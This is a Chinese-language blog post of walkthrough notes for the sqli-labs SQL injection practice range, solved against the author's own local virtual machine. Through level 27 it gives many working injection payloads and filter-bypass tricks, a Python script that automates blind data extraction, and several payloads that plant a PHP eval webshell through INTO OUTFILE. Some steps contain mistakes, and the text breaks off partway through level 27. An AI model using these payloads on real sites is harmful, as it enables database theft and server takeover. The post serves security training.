sqli-labs通关笔记
本文最后更新于 2024-07-26,文章内容可能已经过时。
sqli-labs靶场通关笔记
免责声明
⚠特别说明:此教程为纯技术教学!严禁利用本教程所提到的漏洞和技术进行非法攻击,本教程的目的仅仅作为学习,决不是为那些怀有不良动机的人提供技术支持!也不承担因为技术被滥用所产生的连带责任!⚠
简介:
sqli-labs是一个印度程序员写的一个关于SQL注入的靶场,一共有65个关卡,其中关卡的类型有但不限于联合查询注入,报错注入,布尔盲注,延时盲注,POST注入,Cookie注入,WAF绕过……对于我们初学注入的同学来说很友好。
前置环境和前置知识:
本机,浏览器(带hackbar插件的火狐),vscode(用来查看sqli-labs源代码)(vscode需要提前连接到虚拟机配置远程ssh连接的远程开发环境)
虚拟机linux centos7【php51】(sqli-labs靶场搭建环境目录):
我的虚拟机ip是192.168.153.130
操作:
1.lampp的目录启动lampp的php环境:/opt/lampp/lampp restart
2.靶场目录地址: /opt/lampp/htdocs/secenvs
4.启动vscode,在远程资源管理器中ssh远程连接到虚拟机
这里输入/opt/lampp/htdocs/进入虚拟机linux的目录
输入密码:
点击允许:
这里能看到虚拟机的ip地址和sqli-labs的目录,表明成功。
5.启动webshell管理工具备用(用来做php一句话连接后的操作):1.蚁剑。2.菜刀。3.哥斯拉…
6.在浏览器访问靶场index目录:
http://192.168.153.130/secenvs/index.html(注意ip地址改成自己的)
关卡页面如下:
一、SQL注入的概念
SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息甚至获取系统的shell权限。
二、注入原理
SQL注入攻击是通过操作输入来修改SQL语句,用以达到执行代码对WEB服务器进行攻击的方法,在网站开发过程中,开发人员使用动态字符串构造SQL语句,用来创建所需的应用,这种情况下SQL语句在程序的执行过程中被动态的构造使用,可以根据不同的条件产生不同的SQL语句,比如需要根据不同的要求来查询数据库中的字段。这样的开发过程其实为SQL注入攻击留下了很多的可乘之机。
SQL本质就是通过用户的输入 改变了你原有的SQL语句的执行方式。
三、SQL注入的危害
1、获取系统的数据
2、获取shell权限
拖库,getshell
四、SQL注入类型
(1)数字型
select comments from orderitems where id=1
(2)字符型
select userid,username,address,avatar,phone from user where username='admin' and userpass='Aaa'
(3)搜索型
select * from userinfo where username like "%ad%";
-
sql语句如何注释:
select/*被注释内容*/CONCAT_WS(',',username,passwd,role) from tb_user where id=1; select CONCAT_WS(',',username,passwd,role) from tb_user -- where id=1; select CONCAT_WS(',',username,passwd,role) from tb_user # where id=1;
information_schema数据库:保存了mysql数据库中的所有信息(元数据)
select table_name from information_schema.tables where table_schema=database(); select * from information_schema.COLUMNS where table_schema=database() and table_name='tb_user';
-
注入步骤:
首先要探测是否有注入点,绝大部分情况我们是可以通过输入不同的条件,查看页面的不同反应来判断是否系统重存在注入点。
(1)在页面或者url中输入单引号。确认页面是否有报错。如果有报错,再在引号后面添加注释(-- -),确认页面报错不再出现。
(2)如果第一步不成功,则换一种数据类型尝试,输入 1 or 1=1 和1 or 1=2,确认页面内容显示是否有差异。如果有区别,则可以确认该数据使用了数字类型。
(3)确认了数据类型,尝试sql注入.获取字段数。通过order by 数字。如果报错,则相邻的前一个数字就是准确的字段数。
id = 1 order by 3 -- -
(4)通过union,拼接查询结果。确认哪些字段在页面上有回显。
id=1 union select 1,2,3,4,5 limit 1,1-- -
id=-1 union select 1,2,3,4,5 -- -
(5)获取数据库名字:database() 获取角色信息 user() 获取版本信息version()
id=-1 union select 1,database(),user(),version(),5 -- -
(6)拖库。(爆库,爆表,爆数据等)
--获取当前数据库中的所有表名
payload:
1 union select group_concat(table_name) from information_schema.tables where table_schema=database() limit 1,1
对应的sql语句:
select group_concat(table_name) from information_schema.tables where table_schema=database() limit 1,1
--获取某一个表中所有列名
payload:
1 union select group_concat(column_name) from information_schema.columns where table_name='user' limit 1,1
对应的sql语句:
select group_concat(column_name) from information_schema.columns where table_name='user' limit 1,1
--把表中的数据取出一行
payload:
1 union select CONCAT_WS(',',userid,username,userpass,address,avatar,phone) from user limit 2,1
对应的sql语句:
select select CONCAT_WS(',',userid,username,userpass,address,avatar,phone) from user limit 2,1
(7)getshell
查看数据库的一个参数的配置
show VARIABLES like '%secure_file_priv%';
secure_file_priv 数据库的全局属性:
secure_file_priv= 表示开启任意文件读写权限
secure_file_priv=/xxx/xxx 限定读写范围
secure_file_priv=null 没有开启权限。
向操作系统目录中写入木马
select * into outfile “路径” 路径必须具备其他用户写权限。
payload:
-1')) union select 1,"<?php eval($_POST['code']);?>",3 into outfile "/opt/lampp/htdocs/secenvs/sqlilabs/test1.php" -- +
通过浏览器访问木马文件,使用POST方法提交参数
使用中国菜刀连接一句话木马:
还有其他很多类型的注入具体就不细说了,可以看我的其他介绍SQL注入的文章。下面通过靶场的练习来练习手工sql注入,了解和学习sql注入。
打靶通关过程:
第一关(get注入):
根据提示输入?id=1尝试注入:
http://192.168.153.130/secenvs/sqlilabs/Less-1/?id=1
成功sql注入出用户名和密码。由此可得注入点id=1
尝试其他类型:
输入?id=1’ 报错
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
输入?id=1’–+ 正常
由此可知,是字符型注入,闭合方式是’
尝试union联合注入:
?id=1' and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata --+
成功爆出数据库
challenges,dvwa,goods,information_schema,mysql,pentest,performance_schema,phpmyadmin,pikachu,security,test
尝试union联合注入爆出table表:
?id=1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
成功爆出表名:
emails,referers,uagents,users
尝试union联合注入爆列表
?id=1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
成功爆出列表字段:
emails,referers,uagents,users
尝试union爆出列
?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
第二关(get注入):
探测是否有注入点:
?id=1 //正常
?id=1' //显示错误
?id=1' -- + //显示错误
?id=1 or 1=1 //正常
?id=1 or 1=2 //正常
// 由此判断有判断是数字型注入
确认了数字数据类型,尝试sql注入.获取字段数。通过order by 数字。如果报错,则相邻的前一个数字就是准确的字段数。
尝试数字型注入:
?id=1 order by 4-- + //错误
?id=1 order by 3-- + //正常 (由此判断字段数为3)
?id=1 and '1' = '1' -- -
第三关(get注入):
查看php源码:
尝试:
?id=1') -- + //正常 (即发现注入点)(可以这样注入)
使用order by 查询判断列数:
?id=1') order by 4-- + //显示出错Unknown column '4' in 'order clause'
?id=1') order by 3-- + //正常.由此判断列数为3
输入不存在的id数,给后面的查询语句留显示位
?id=21') union select 1,2,3-- +
显示位为2,3位
?id=21') union select 1,2,database() --+ //爆出库名
?id=21') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database() --+ //爆出列名
?id=21') union select 1,group_concat(username),group_concat(password) from security.users --+ //爆出数据库密码
第四关(get注入):
查看源代码:
图中标记处,便是与前几关的区别,可见将id 加了双引号,后面又用了()于是我们将,id后面加“)即可
尝试使用“)注入:
?id=1") --+ //正常,存在注入点
尝试使用order by注入猜字段数
?id=1") order by 4 --+ //报错 Unknown column '4' in 'order clause'
?id=1") order by 3 --+ //正常,字段位为3
尝试使用联合注入union猜显示位数
?id=666") union select 1,2 --+ //报错,The used SELECT statements have a different number of columns
?id=666") union select 1,2,3 --+ //正常,说明显示位数位2,3
?id=666") union select 1,2,3,4 --+ //报错,The used SELECT statements have a different number of columns
尝试使用union联合注入爆库和表名和users表中的用户名,密码:
?id=666") union select 1,2,database() --+ //爆出数据库security
?id=666") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+ //爆出表名emails,referers,uagents,users
?id=666") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() and table_name ='security' --+ //正常,说明爆出的是security库
?id=666") union select 1,group_concat(username),group_concat(password) from security.users --+
//爆出users表中的用户名和密码
第五关(get报错注入):
查看源码:
思路:
第五关没有数据库的回显信息,但是有一个‘ you are in……’ 的消息回显信息和错误回显信息,如果id数据库中存在,就回显 “You are in …” 若不存在,就无回显。
这里明显不适用于union联合注入,但是可以尝试报错注入
报错注入可以用floor报错、updatexml报错、extractvalue报错。
寻找注入点:
?id=1' //报错
?id=1" //正常 //注入点
尝试使用extractvalue报错注入:
?id=1' and extractvalue(1,concat(1,database())) --+ //正常
尝试使用updatexml报错注入:
?id=1' union select updatexml(1,concat(0x7e, (select(group_concat(table_name))from information_schema.tables where table_schema="security") ,0x7e),3)--+
//爆出security库的表
//爆字段:
第六关(get注入和布尔注入):
同第五题一样报错注入:只不过要加双引号
?id=1" and extractvalue(1,concat(1,database())) --+ //正常,爆出库名
-- //通过得到的库名爆表名
?id=1"and (extractvalue(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security')))) --+
// 通过得到的表名users,爆表中的字段
-- //通过字段。爆出表中的用户名和密码
?id=1"and extractvalue(1,concat(1,(select concat(username,password) from security.users limit 1,1))) --+
第七关(get注入写入shell):
源代码:
从源代码可以知晓,php代码将print_r(mysqli_error($con))注释掉了,报错注入用不了了,
可以使用布尔盲注,通过源码发现只需要在id后面加上’))便可以开始注入。
尝试注入:
?id=1')) and 1=1 --+ //正常,存在注入点
?id=1')) and 1=2 --+ //回显错误,报语法错误
-- 故而可以判断,该处注入为布尔型盲注
判断数据库名长度:
?id=1')) and (length(database())>7) --+ //正常
?id=1')) and (length(database())>8) --+ //回显错误
-- 故而可以知晓,数据库名长度位8位
猜数据库名字符:(这里可以使用python代码进行布尔盲注)
?id=1')) and (substr(database(),1,1)='a') --+ //回显错误,说明第一个字母不是a
-- ....中间abcd省略
-- ....一直到s
?id=1')) and (substr(database(),1,1)='s') --+ //回显正常,说明数据库第一个字母是s
尝试猜表名:
?id=1')) and (ascii(substr((select table_name from information_schema.tables where table_schema = 'security' limit 0,1),1,1))>1) --+ //报错
。。。。省略
?id=1')) and (ascii(substr((select table_name from information_schema.tables where table_schema = 'security' limit 0,1),1,1))>100) --+ //回显正确
?id=1')) and (ascii(substr((select table_name from information_schema.tables where table_schema = 'security' limit 0,1),1,1))>101) --+ //正确
//ASCII码是101,为e,按照此方法查出所有的表为 emails,referers,uagents,users。
查询user表中列名
1、查询第一个列名有多少位;
/?id=1') ) and (length((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 0,1))>1) --+
......
2、查询列名
?id=1')) and (ascii(substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 0,1),1,1))>1) --+
......
查询出所有列名为:id,username,password
写入文件:
?id=1')) union select 1,2,3;%00
//显示you are in..Use outfile..... 可以写入文件了
//写入一句话木马进文件目录,木马文件为muma.php
?id=-1')) union select 1,2,'<?php @eval($_POST["crow"]);?>' into oufile '/opt/lampp/htdocs/secenvs/sqlilabs/Less-7/muma.php'-- -
//用蚁剑进行链接即可
第八关(get布尔盲注):
源代码:
查看源码知晓id的闭合方式,但是错误输出注释掉了,不适合错误注入,但是不影响布尔盲注
和第七关一样,只是闭合方式改了一下。
通过python程序进行盲注:
import requests
# sqli-labs第八关,布尔盲注
# 猜测数据库名字的长度
def guessDbNameLength():
for i in range(1,30):
url1 = f"http://192.168.248.128/secenvs/sqlilabs/Less-8/?id=1' and length(database())={i} -- -"
response = requests.get(url1)
if "You are in" in response.text:
# print(f"数据库名称长度是:{i}")
return i
dblen = guessDbNameLength()
# print(f"数据库名称长度是:{dblen}")
# 猜测数据库名字
def guessDbName(len):
dbname=[]
for i in range(1,len+1):
for j in range(97,124):
url1 = f"http://192.168.153.130/secenvs/sqlilabs/Less-8/?id=1' and ASCII(mid(database(),{i},1))={j} -- -"
response = requests.get(url1)
if "You are in" in response.text:
dbname.append(chr(j))
break
return "".join(dbname)
dbname = guessDbName(dblen)
# 获取表名称的字符串,用逗号分隔(长度)
def guessTableNamesLengh(dbname):
for i in range(1,1000):
url1 = f"http://192.168.153.130/secenvs/sqlilabs/Less-8/?id=1' " \
f"and (select length(GROUP_CONCAT(table_name)) from information_schema.TABLES " \
f" where table_schema='{dbname}')={i} -- -"
response = requests.get(url1)
if "You are in" in response.text:
return i
tablenameLength = guessTableNamesLengh(dbname)
def guessTableNamesLengh(dbname,len):
tablenames=[]
for i in range(1,len+1):
for j in range(32,126):
url1 = f"http://192.168.153.130/secenvs/sqlilabs/Less-8/?id=1' " \
f" and ASCII(mid((select GROUP_CONCAT(table_name) " \
f" from information_schema.TABLES where table_schema='{dbname}'),{i},1))={j} -- -"
response = requests.get(url1)
if "You are in" in response.text:
tablenames.append(chr(j))
break
return "".join(tablenames)
tableNames = guessTableNamesLengh(dbname,tablenameLength)
print(tableNames)
tableArr = tableNames.split(",")
#计算每个表列名组成的字符串长度
def guessColumnLengh(dbname,tablename):
for i in range(1,1000):
url1 = f"http://192.168.153.130/secenvs/sqlilabs/Less-8/?id=1' " \
f"and (select length(GROUP_CONCAT(column_name)) from information_schema.COLUMNS" \
f" where table_schema='{dbname}' and table_name='{tablename}')={i} -- -"
response = requests.get(url1)
if "You are in" in response.text:
return i
def guessColumnNames(dbname,tablename,len):
columnNames=[]
for i in range(1,len+1):
for j in range(32,126):
url1 = f"http://192.168.153.130/secenvs/sqlilabs/Less-8/?id=1' " \
f" and ASCII(mid((select GROUP_CONCAT(column_name) " \
f" from information_schema.COLUMNS where table_schema='{dbname}'" \
f" and table_name='{tablename}'),{i},1))={j} -- -"
response = requests.get(url1)
if "You are in" in response.text:
columnNames.append(chr(j))
break
return "".join(columnNames)
for t in tableArr:
len = guessColumnLengh(dbname,t)
columnNames = guessColumnNames(dbname,t,len)
print(columnNames)
第九关(get注入 时间盲注):
源代码:
查看源代码可以知晓,关卡错误和正确都不显示信息(只显示you are in…)布尔盲注和错误注入不适合,可以用时间盲注。
尝试注入:
?id=1' -- +
-- 存在注入点
?id=1' and sleep(2) -- +
-- 浏览器相应时间2秒,存在时间盲注
查询表名:
1、查询数据库长度
?id=1' and if((length(database())>1),sleep(5),0) --+
// 浏览器响应5秒说明数据库长度大于1
....
....省略
?id=1' and if((length(database())>8),sleep(5),0) --+
// 浏览器响应时间小于1秒,说明数据库长度为8
2、查询数据库字段名:
。。。。省略
?id=1' and if(ascii(substr(database(),1,1))>115,sleep(5),0) --+
//响应时间小于1秒。ascii码为115,说明第一个字段为s
。。。。省略
最终查询到的数据库字段名为security
第十关(get注入 时间盲注):
查看源码:
通过查看源码可以知晓,跟第九关的区别就是id两边多了个双引号,注入的时候用双引号闭合即可。其他步骤跟第九关一样。
尝试注入:
1、查询数据库长度
?id=1" and if((length(database())>1),sleep(5),0) --+
// 浏览器响应5秒说明数据库长度大于1
....
....省略
?id=1" and if((length(database())>8),sleep(5),0) --+
// 浏览器响应时间小于1秒,说明数据库长度为8
2、查询数据库字段名:
。。。。省略
?id=1" and if(ascii(substr(database(),1,1))>115,sleep(5),0) --+
//响应时间小于1秒。ascii码为115,说明第一个字段为s
。。。。省略
最终查询到的数据库字段名为security
第十一关(POST 注入):
查看源代码:
查看源代码和界面和可以知晓,请求方法为post
在界面直接填入用户名和密码进行注入:
Dhakkan' or 1=1 -- +
111111(随便填)
第十二关(POST 注入):
源代码:
查看源代码可以知晓,原理和十一关一样,只是多出了“”和()
所以直接在页面中输入用户名和密码进行注入:
Dhakkan") or 1=1 -- +
1111111
第十三关(POST 报错注入 ):
查看源码:
直接在页面中输入用户名和密码进行注入:
aaa') or 1=1 -- +
1111
第十四关(POST 报错注入 ):
查看源码:
几乎和十三关差不多,就是没有(),直接上页面进行sql注入:
Dhakkan" or 1=1 -- +
1111
成功注入
第十五关(POST 布尔注入 ):
查看源码:
查看源码可知,和前几关差不多,直接在页面进行sql注入尝试
1' OR 1=1 -- +
11111
第十六关(POST 布尔注入 ):
查看源码:
由源码可知,和十五关的区别是uname和passwd有()和“”
所以sql注入时候要加上“)即可
Dhakkan") or 1=1 -- +
111111
注入成功
第十七关(更新注入):
Dhakkan") or 1=1 -- +
admin or 1=1'
//显示错误,骂我憨比黑客
查看源码:
从源代码可以看出执行了更新操作,所以有可能是更新注入或者报错注入(后面有报错信息输出)
尝试注入:
这里尝试在密码中输入1’
有报错,说明存在报错注入
尝试报错注入爆出数据库名:
uname=admin&passwd=1' and updatexml(1,concat(1,substr((select group_concat(schema_name) from information_schema.schemata),1,1),1),1)#&submit=submit
//爆出了数据的cl
//加大剂量尝试
-- ....中间的省略
uname=admin&passwd=1' and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),80,30),0x7e),1)#&submit=submit
--成功爆出数据库admin,pikachu,security,test
。。。尝试
-- 下面这条可以拿到security
uname=admin&passwd=1' and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),94,8),0x7e),1)#&submit=submit
-- 爆出表名:
uname=admin&passwd=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,29),0x7e),1)#&submit=submit
-- 可以得到表名:emails,referers,uagents,users
-- 爆出表明爆出用户和密码:
uname=admin&passwd=1' and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,password)) from security.users),1,30),0x7e),1)#&submit=Submit
第十八关(HTTP头UA INSERT 报错注入):
源码:
查看源码可知,uagent函数直接被拼接到sql语句中执行插入操作
刚进去靶场页面就看到ip信息暴露在页面中,一旦发现有记录到浏览器信息和ip信息之类的就应该想到HTTP头注入
一般浏览器记录身份信息的地方有User-Agent,Referer,Accept,X-Forwarded-For,Date
概念:就是在http请求头中注入恶意代码,实现拖库或getshell
http包头 | 请求的基本信息,请求的长度,编码,请求来源,ip地址,数据格式等等 |
---|---|
http包体 | 请求的主要内容 |
HTTP_REFERER | 请求是从哪个地址过来的 |
REMOTE_ADDR | 发出请求的客户端的ip地址 |
X-FORWARDED-FOR | 记录原始发请求方的IP地址。 |
启动Burp抓个包试试看:
启动burpsuit后代理模块开启拦截在浏览器用户名密码栏中输入admin,admin
传个报错注入上去看看:
payload:
//判断库
'and updatexml(1,concat(0x7e,(select database()),0x7e),1),1,1)-- -
在数据库中拼接如下:
INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES (''and updatexml(1,concat(0x7e,(select database()),0x7e),1),1,1)-- -', '$IP', $uname)
可见这里的0x7e),1),1,1)后面的两个1,1是补齐前面的两个字段ip_address和username的
将paylod放入在burp中修改user-gent值进行放包,后可以发现页面可以爆出来数据库security
剩下的都是一样的操作,
//判断表名:
'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security'limit 0,1),0x7e),1),1,1)-- -
//判断列名:
'and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users'limit 0,1),0x7e),1),1,1)-- -
//判断数据:
'and updatexml(1,concat(0x7e,(select username,password limit 0,1),0x7e),1),1,1)-- -
第十九关(HTTP头Referer INSERT 报错注入):
看源码可知,和十八题一样,只是注入点有点变化,变成了HTTP_REFERE,拼接到ip,其他一样。
payload:
//爆库名:
'and updatexml(1,concat(0x7e,(select database()),0x7e),1),1,1)-- -
//爆表名:
'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security'limit 0,1),0x7e),1),1,1)-- -
//爆列名:
'and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users'limit 0,1),0x7e),1),1,1)-- -
//爆数据:
1 1'and updatexml(1,concat(0x7e,(select username,password limit 0,1),0x7e),1),1,1)-- -
第二十关( HTTP头Cookie 联合注入):
在username和password输入admin后,跳转到页面
看源码可知,是通过cookie进行检测
启用burp进行抓包:
尝试使用错误注入payload:
//爆库名:
'and updatexml(1,concat(0x7e,(select database()),0x7e),1)-- -
//爆表
'and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),0x7e),1)-- -
//爆数据
'and updatexml(1,concat(0x7e,(select username,password from users limit 0,1)-- -
第二十一关(Dump 写入文件):
构造payload:写入文件进关卡系统
//首先判断下字段数:
1') order by 4# //到这里报错,说字段数3位
//因为后端有base64编码,需要编个码在执行,
MScpIG9yZGVyIGJ5IDQj
构造一句话木马:<?php eval($_POST['ls']);?>
将它转成16进制:0x3c3f706870206576616c28245f504f53545b276c73275d293b3f3e
放入payload中:
1') union select null,0x3c3f706870206576616c28245f504f53545b276c73275d293b3f3e,null into outfile '/opt/lampp/htdocs/secenvs/sqlilabs/Less-21/test.php'#
//注意这里不能用-- -,因为经过base64位编码后,Mysql解码后传入数据库执行的是---,会把中间的空格吃掉,---会导致MYSQL语法报错
将整个payload进行base64编码后放入burp中
MScpIHVuaW9uIHNlbGVjdCBudWxsLDB4M2MzZjcwNjg3MDIwNjU3NjYxNmMyODI0NWY1MDRmNTM1NDViMjc2YzczMjc1ZDI5M2IzZjNlLG51bGwgaW50byBvdXRmaWxlICcvb3B0L2xhbXBwL2h0ZG9jcy9zZWNlbnZzL3NxbGlsYWJzL0xlc3MtMjEvdGVzdC5waHAnIw==
可以看到成功写入文件
源码:
第二十二关(Cookie联合注入):
用户名密码栏输入admin和admin后,显示如下界面,查看cookies插件;发现uname是YWRtaW4%3D
查看源码:
和二十一关差不多,就是闭合变成了双引号
构造payload进行注入:
"union select 1,2,database()#
//注意这里同21关一样,不能用-- -
转换成base64:
InVuaW9uIHNlbGVjdCAxLDIsZGF0YWJhc2UoKSM=
将编码好的payload放入cookies插件中的uname内容进行替换刷新页面后即可得到爆出库名:
剩下的爆表名和列名操作相同:
payload如下:
//爆字段
"union select 1,2,(select group_concat(username,password) from security.users)#
base64:
InVuaW9uIHNlbGVjdCAxLDIsKHNlbGVjdCBncm91cF9jb25jYXQodXNlcm5hbWUscGFzc3dvcmQpIGZyb20gc2VjdXJpdHkudXNlcnMpIw==
第二十三关(GET注入 过滤注释符):
尝试:
id=1 //显示信息
id=1' //显示报错
id=1'-- - //显示报错,应该是无法进行闭合
查看源码可知:这里是做了一个小小的替换将#或者–替换为空,导致一般注释-- -和#无法进行闭合,所以这里只能使用and或者or语句进行闭合,在这里可以使用另外一个特殊的注释符
;%00
通过这个注释符可以判断列数。
使用order by注入查询字段:
?id=1' order by 3 ;%00
?id=1' order by 4 ;%00 //报错,说明字段数为3
使用联合查询:
?id=1' union select 1,2,3 ;%00 //正常,但是不显示,这是应为一共123显示为只有两个,此时需要填入一个不存在的id数来让他暴露出显示位
?id=666' union select 1,2,3 ;%00 //成功爆出来显示位为2,3
//之后就是爆库爆表和字段
爆库:
?id=4444' union select 1,2,group_concat(schema_name) from information_schema.schemata ;%00
//成功爆出数据库:challenges,dvwa,goods,information_schema,mysql,pentest,performance_schema,phpmyadmin,pikachu,security,test
//爆表:
?id=4444' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479;%00
//成功爆出security库中的表emails,referers,uagents,users
//爆字段
?id=4444' union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users;%00
//成功爆出users表中的用户名和密码
//只要通过单引号把后面闭合了也可以获取数据,payload如下
?id=1' and 1=2 union select 1,2,(select group_concat(username,password 0x7e) from security.users) '
![image-20240511024945582](https://img.picgo.net/2024/05/11/image-20240511024945582f10b94fcdaaf3c72.png
第二十四关(二次注入):
直接用万能密码尝试:
admin和admin,发现登录进去了
查看源码:
可以发现本关卡数据入参都有通过 mysql_real_escape_string
进行转义
更改密码的php文件中这行
可以使用admin ‘#进行注入,数据库中的语句会变成:
UPDATE users SET PASSWORD='$pass' where username='admin'#' and 1=1
..... 这后面会被注释掉正好和前面的'拼到一起,从而起到更新密码的作用,拿着更新后的密码就可以登录成功了
点击new user click here?
跳转至新用户注册界面
在注册界面的username中输入admin’#
在随便输入密码值,点击登录即可创建出一个新账户,再用新账户登录即可。或者在注册界面修改密码,可以起到修改admin
管理员的密码。直接拿修改后的密码登录管理员的账户。
payload:
UPDATE users SET PASSWORD='123456' where username='admin'#' and 1=1
第二十五关(双写绕过):
测试寻找注入点:
?id=1 //正常显示信息
id=1 and 1=1 //正常,但是看下方hint提示信息没有and没了
?id=1' //报错
?id=1' -- - //正常
尝试order by查询字段数
?id=1' order by 3 -- - //报错,看下方hint提示信息变成了1' der by 3 -- -
//说明or应该是被吃掉了
看页面下方的信息可以得出是and和or被吃掉了。
查看源码:
通过源码可以发现or和and是被替换了,还使用了preg_repalace函数使它不区分大小写
直接使用双写绕过(在order或者select之间再写入一个or或者and)
?id=1' oORrder by 1-- - //正常回显
?id=1' oORrder by 3-- - //正常
?id=1' oORrder by 4-- - //到四报错,说明字段数为3
尝试用联合查询:
?id=1111' union select 1,2-- - //报错
?id=1111' union select 1,2,3-- - //正常回显,回显数为2,3
接下来就简单了,直接爆库爆表就行了
//爆库:
?id=1111' union select 1,2,group_concat(schema_name) from information_schema.schemata--+
//这里发现报错,查看信息发现information_schema这里的or被吃掉了
//再次双写or尝试:
?id=1111' union select 1,2,group_concat(schema_name) from infoRormation_schema.schemata --+
//还是报错,尝试分开来写
?id=1111' union select 1,2,group_concat(schema_name) from infooRrmation_schema.schemata --+
//成功爆出库:challenges,dvwa,goods,information_schema,mysql,pentest,performance_schema,phpmyadmin,pikachu,security,test
//爆表:
//再次双写or尝试:
?id=1111' union select 1,2,group_concat(table_name) from inforormation_schema.tables where table_schema=database()--+
//还是报错,尝试分开来写
?id=1111' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()--+
//成功爆出表:emails,referers,uagents,users
//爆字段:
?id=1111' union select 1,2,group_concat(username,passwooRrd) from security.users--+
//成功爆出密码账号
方式二:报错注入payload
?id=1111' || 1=1 -- - //回显
//暴库:
?id=1111' || updatexml(1,concat(0x7e,(select schema_name from infoorrmation_schema.schemata limit 9,1)),1) || '1'='1'-- -
//爆表:
?id=1111' || updatexml(1,concat(0x7e, (select(group_concat(table_name))from infoorrmation_schema.tables where table_schema="security") ,0x7e),3) || '1'='1'-- -
//爆字段:
?id=1111' || extractvalue(1,concat(1,(select concat(username,passwoorrd) from security.users limit 0,1)))-- -
第二十五关a:(双写绕过):
到了二十五关a,查看源码发现和二十五关差不多,
payload:
运用时间盲注入:
?id=1 AandND sleep(1)#
?id=1111' oorr if (left(database(),8)='security',1,sleep(5))-- -
//判断出库名是security
运用联合注入
?id=1 AandND 1=2 union select 1,2,3#
//字段数为3
//爆库
?id=1 AandND 1=2 union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata--+
//爆表
?id=1 AandND 1=2 union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'--+
//爆字段:
?id=1 AandND 1=2 union select 1,2,group_concat(username,passwooRrd) from security.users--+
第二十六关(空格绕过):
测试sql注入:寻找注入点:
id=1 //正常回显
id=1' -- - //报错,观查hint发现后面的注释符没了
id=1';%00 //换个注释符,看hint显示有了
id=1' or 1=1 //or没了,双写绕过
?id=1' oorr '1'='1 //正常回显,空格没了
id=1 and 1=2 //回显字段数,但是看下方hint的提示显示and和空格都没了
1 AANDND 1=2 //and这里搞个双写注入,hint提示有and了,但是空格还是被吃了
查看源码:
通过源码发现很多注入的关键字都被替换为空了
空格可以通过以下符号代替
符号 | 说明 |
---|---|
%09 | TAB 键(水平) |
%0a | 新建一行 |
%0c | 新的一页 |
%0d | return 功能 |
%0b | TAB 键(垂直) |
%a0 | 空格(和普通空格不一样) |
还有一种方式不用空格直接用||替代
//报错注入,爆库名;
?id=1' || updatexml(1,concat(0x7e,(database())),1);%00
或
?id=1' || updatexml(1,concat(0x7e,(database())),1) || '1'='1
成功得到security库
//爆表名:
?id=1' || updatexml(1,concat(0x7e,(select (group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema=0x7365637572697479))),1) || '1'='1
//0x7365637572697479是security的16进制
//爆列名:
?id=1' || updatexml(1,concat(0x7e,(select (group_concat(column_name)) from (infoorrmation_schema.columns) where (table_name=0x7573657273))),1) || '1'='1
第二十六关a:(空格绕过):
看起来和二十六关差不多,
测试寻找注入点:
?id=1 //回显
?id=1';%00 //有闭合了;
?id=1' and 1=1;%00 //报错,and无了
?id=1')%a0aandnd%a01=2%a0oorr%a0('
//无报错,闭合有了,%a0or%a0('')
查看源码:
查看源码发现有单引号包裹,闭合方式是 ('')
,无法直接通过 1') ('
闭合,因为这样会多出一个 ('')
导致 sql 语法错误,和很多过滤条件过滤掉了特殊字符等,同时注释掉了报错信息。
联合注入:(将中间的所有空格用%a0做替换,同时将有存在or和and的地方做双写处理,闭合用 or ('')
将前后中间的空格和or双写后为:%a0oorr%a0()
原始语句为:
?id=1') and 1=2 union select 1,(select group_concat(username,'~',password separator 0x3c62723e) from security.users),3 or ('
//separator 0x3c62723e 是用来控制 group_concat() 函数输出结果中各个字段之间的分隔符的。意味着在输出结果中,用户名和密码之间会用换行符 <br> 分隔。
//0x3c62723e为<br>
转义和双写后payload如下:
?id=1')%a0aandnd%a01=2%a0union%a0select%a01,(select%a0group_concat(username,'~',passwoorrd%a0separatoorr%a00x3c62723e)%a0from%a0security.users),3%a0oorr%a0('
第二十七关(union过滤):
尝试:
id=1 //回显
id=1'-- - //失败
id=1';%00 //有注释了
查看源码
发现通过单引号进行包裹,有报错注入,同时替换掉了一堆的特殊字符,不能用联合注入
猜列数:
?id=1' order by 3;%00 //有回显,但是提示中发现空格丢失用%a0替换
?id=1' %a0 order%a0 by %a0 3;%00 //三列
联合注入:
?id=1' %a0 union%a0 select %a0 1,2,3;%00
//回显了,但是根据提示信息看union和select都没了,混合大小写绕过
?id=1' %a0 uNion%a0 sElect %a0 1,2,3;%00
//显示select和union了
//填写未知id值,进行回显
?id=666' %a0 uNion%a0 sElect %a0 1,2,3;%00
//回显2,3;在第三列进行爆库
//爆库:
